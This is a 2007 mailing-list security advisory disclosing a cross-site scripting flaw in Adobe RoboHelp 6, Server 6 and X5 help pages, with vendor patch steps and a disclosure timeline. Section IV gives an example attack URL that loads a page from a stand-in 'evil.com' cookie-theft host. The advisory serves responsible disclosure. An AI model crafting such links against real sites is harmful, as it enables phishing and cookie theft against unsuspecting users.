Cross-Site Scripting in Adobe RoboHelp 6, Server 6 and X5 May 11 2007 09:11PM
Michael Domberg (domi gmx tm)
Hi,
I'd like to inform you about a XSS-vulnerability in Adobe RoboHelp 6, RoboHelp Server 6 and RoboHelp X5. See attached advisory below.

I - TITLE

Security advisory: Cross-Site Scripting in RoboHelp 6, RoboHelp Server 6
and RoboHelp X5

II - SUMMARY

Description: A Cross-Site Scripting Flaw in generated RoboHelp webpages allows
an attacker to redirect users to arbitrary sites.

Author: Michael Domberg (mdomberg at gmx dot li)

Date: May 8th 2007

Severity: Medium

References: http://www.devtarget.org/adobe-advisory-05-2007.txt

III - OVERVIEW

Adobe RoboHelp 6 is a complete, flexible, and user-friendly system for building, managing, and publishing engaging content for help systems and standalone knowledge bases. It is a core product in the Adobe portfolio for technical communicators.

Adobe RoboHelp Server 6 extends and supports the capabilities of Adobe RoboHelp 6 to provide a complete online help and knowledge base solution. Easily deploy and manage up-to-date online content, control and monitor the use of web-based help systems in real time, and develop help systems for use with the Microsoft .NET Framework.

More information about the product can be found online at
http://www.adobe.com/products/robohelp/
http://www.adobe.com/products/robohelpserver/

IV - DETAILS

The RoboHelp compiler generates a bunch of .html-files. The URL to
the generated content looks like:

http://server/project_name/en/frameset-7.html#main_content.html

where
..server ist the name of the webserver
..project_name is a freely choosable name of the help project
..en is the shortname of the generated language
..frameset-7.html is the name of the file which contains the
frameset of the help system
..main_content.html is the name of the page that should be
displayed within the main frame

The JavaScript parts of "frameset-7.html" analyze the parameters
behind the "#"-sign and load the specified page into the main frame.
The script fails to sanitize the parameter so any URL could be specified
to be loaded into the frame. An malicious user might use URLs like:

http://server/project_name/en/frameset-7.html#http://evil.com/cookiethie
f

The parameter could be encoded with Unicode to hide the the real location
of the page. Users that are tricked into clicking on such malicious links
might be led to pages that fit into the "look-and-feel" of the original
page and that query for credentials.

V - ANALYSIS

The severity of this vulnerability is to be considered "low". An attacker
has to trick a victim into clicking the malicious URL and entering confidential
data on that site. Another possible attack is to get the victim's cookies.

Due to the fact that the vulnerability affects a development tool there may be
other websites and software products that indirectly affected by this flaw.

VI - EXPLOIT CODE

There is no code needed to exploit this vulnerability. It can simply
be exploited by entering a specially crafted URL into a browser.

VII - WORKAROUND/FIX

The vendor addressed the vulnerability by publishing patches for each affected
product. After downloading the patches, the following actions have to be taken:
- apply the patch
- restart RoboHelp / RoboHelp Server
- re-generate all content
- replace the old (vulnerable) content with the recently generated one.

VIII - DISCLOSURE TIMELINE

14. January 2007 - Notified vendor of affected software
26. January 2007 - Vulnerability confirmed
08. May 2007 - Release of patch
08. May 2007 - Public disclosure

Regards,
Michael Domberg,
www.devtarget.org

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus